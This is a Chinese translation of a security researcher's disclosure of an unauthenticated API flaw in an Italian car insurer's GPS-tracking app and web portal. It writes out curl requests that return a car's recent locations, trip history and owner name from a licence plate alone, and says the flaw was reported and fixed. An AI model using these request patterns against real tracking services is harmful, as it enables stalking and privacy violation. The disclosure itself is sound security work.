翻译:陈匡kk
预估稿费:170RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
很多汽车保险公司为你提供卫星定位设备,用户可以把卫星定位设备安装到私家车上,那在任何时间和地点,都可以追踪你的私家车位置。
当安装了卫星定位设备,汽车保险公司可随时知道你的车到过什麽地方。当然,如果你的私家车被贼人偷了,警方可通过卫星定位更有效找回你的私家车。
汽车保险公司还会提供专门的APP,即使你看不到你的私家车,也能透过手机上的APP知道你的私家车状况。
接着,我下载了汽车保险公司的安卓版APP,不幸地,APP需要Google Play服务才可以正常运行。我是一个自由及开放源代码软件传播人,我尝试使用开放源代码APP来运行保险公司的APP,而不使用Google Play服务。
幸然,我还是一个软件开发者。现在,我开始分析保险公司APP的APIs,然後使用mitmproxy中间人代理软件,来开发一个适用于保险公司APP的客户端代码。
授权
当运行保险公司APP时,用户需要授权APP存取你的卫星定位设备位置。
当一开始授权时,APP会要求输入你的身份证号码。我填写了我的身份证号码,APP就运行以下的代码:
curl -X POST -d 'BLUCS§<taxpayers_code>§-1' http://<domain>/BICServices/BICService.svc/restpostcheckpicf<company>
接着,网页伺服器端作出请求响应,并存取了你的手机号码:
2§<international_calling_code>§<cell_phone_number>§-1
当看到这些凌乱的代码,得知APP是使用HTTP请求响应,代码的第一个和最後一个叁数是常量,而这代码只需要两个叁数就获得我的手机号码。假如我输入不存在的身份证号码,会得到以下代码:
-1§<international_calling_code>§§-100%
然後,我需要确认手机号码是否正确。接着,我需要输入密码。在之前,我已经透过电邮,向保险公司发送了我预设的密码。输入密码后,APP就运行以下代码:
curl -X POST -d 'BLUCS§<taxpayers_code>§<device_imei>§<android_id>§<device_brand>-<device_model>_unknown-<api_platform>-<os_version>-<device_code>§<cell_phone_number>§2§<password>§§-1' http://<domain>/BICServices/BICService.svc/restpostsmartphoneactivation<company>
接着网页伺服器端作出以下响应:
0§<some_code>§<my_full_name>
这叁数<some_code>每次都会改变,这看来是用作识别客户端的ID。当完成这阶段操作,APP就得到授权,全面存取私家车的所有数据。
追踪私家车位置
我开始实现追踪汽车的功能,这功能可以存取20个私家车最近到访过的地点。现在开始分析APP是怎样存取数据:
curl -X POST -d 'ASS_NEW§<car_license>§2§-1' http://<domain>/BICServices/BICService.svc/restpostlastnpositions<company>
网页伺服器端作出以下响应:
0§20§<another_code>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state><city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>
没有header头,没有cookie,没有授权认证?!
没错,你的猜想是对的。你只要有私家车的license许可证,就可以存取该私家车的20个最近到访地点。那<another_code>有什麽用途,我将会在下文解译。
我一开始以为,伺服器储存了我的IP地址,并授权了我的IP地址可储存该私家车的地点数据。但是,我尝试使用VPN连接伺服器,居然也能成功存该私家车的地点数据。
然後,我尝试输入不存在的私家车license许可证,得到以下响应:
-2§TARGA NON ASSOCIATA%
这表示:数据库没有该私家车的license许可证
那麽我们如何获得其他私家车的license许可证,这很容易实现。所有的私家车license许可证都储存在保险公司的数据库,而且这些数据还包括了该车最近到访过的20个地点。
网页客户端
汽车保险公司还提供了网页端,这网页端提供了更多功能给用户。我登入了网页并开始分析,发现网页有几个不同的域名,并且在任何请求响应中,都会使用到用户的cookie。有一个请求响应值得我关注的,是该请求响应不需要任何认证
curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>&CONTRATTO=<foo>&VOUCHER=<bar>
在伺服器请求响应後,网页客户端显示的HTML页面:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>NewRemoteAuthentication</title>
<meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1" />
<meta name="CODE_LANGUAGE" Content="C#" />
<meta name="vs_defaultClientScript" content="JavaScript"/>
<meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie7" />
<!--<meta content="IE=EmulateIE10" name="ie_compatibility" http-equiv="X-UA-Compatible" />-->
<meta name="ie_compatibility" http-equiv="X-UA-Compatible" content="IE=7, IE=8, IE=EmulateIE9, IE=10, IE=11" />
</HEAD>
<body>
<form name="Form1" method="post" action="/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>" id="Form1">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTIwNzEwODIsJFNAgEPKAJDIeBsdSpc2libGVnZGRic5McHC9+DqRx0H+jRt5O+/PLtw==" />
<iframe id="frm1" src="NewRicerca.aspx" width="100%" height="100%"></iframe>
<SCRIPT language="JavaScript">
<!--
self.close
// -->
</SCRIPT>
</form>
</body>
</HTML>
这里包含一个iframe,而且该iframe还是外部链接的!
透过这页面你可以得到:
关注了该保险公司网站的用户全名
私家车的品牌和型号
私家车的总行驶里数
私家车的行驶次数
私家车每月行驶了多少次
存取每月行驶的详细数据
存取每日行驶的详细数据(经纬度、时间、日期)
存取每月行驶数据(驾驶私家车的频率)
这里有大量数据,而且这些数据,是从安装卫星定位设备那刻就开始记录。
保险公司APP不需要任何认证就可以存取数据库资料,因此我可以把刚刚已知的叁数填进去,向数据库请求资料。通常地,数据库请求不需要知道所有叁数,我只需要删除一些不必要的叁数,剩下的叁数是我需要的。因此,我可以把代码简化成这样:
curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>
可这里仍然有<another_code>。这看来是个数字叁数,我把之前的到得数字叁数填进行,最後可以成功运行。
所以,http://<domain>/<company>/(S(<uuid>))/NewRicerca.aspx这页面显示了所有我想要的数据。但是我们怎样得到<uuid>这叁数?
我尝试删除<uuid>这叁数,可是最终只得出一个空白的页面。
接着,我认为NewRemoteAuthentication.aspx这页面是负责<uuid>这个叁数。我尝试在这页面删除<uuid>这叁数,令我惊喜的是,这页面跳转回NewRicerca.aspx这个页面,而且还自动填写了<uuid>这叁数。现在,我可以调用NewRicerca.aspx这页面来看所有数据库资料。
结论
你只需要知道私家车的license许可证,就可以存取到该私家车的行驶资料,车主全名,私家车的位置。
我把这漏洞提交给了CERT Nazionale。
该汽车保险公司在这三星期内,已经更新了网页端的逻辑漏洞。该公司还透过电邮向用户表示,已经修复了APP手机端的漏洞。而在我向CERT Nazionale提交了漏洞後,旧的网页端服务在一个半月後已经关闭了。
这是我的猜测,这个漏洞可能已经存在了三年,因为第一代安卓版APP的APIs仍然是使用至今。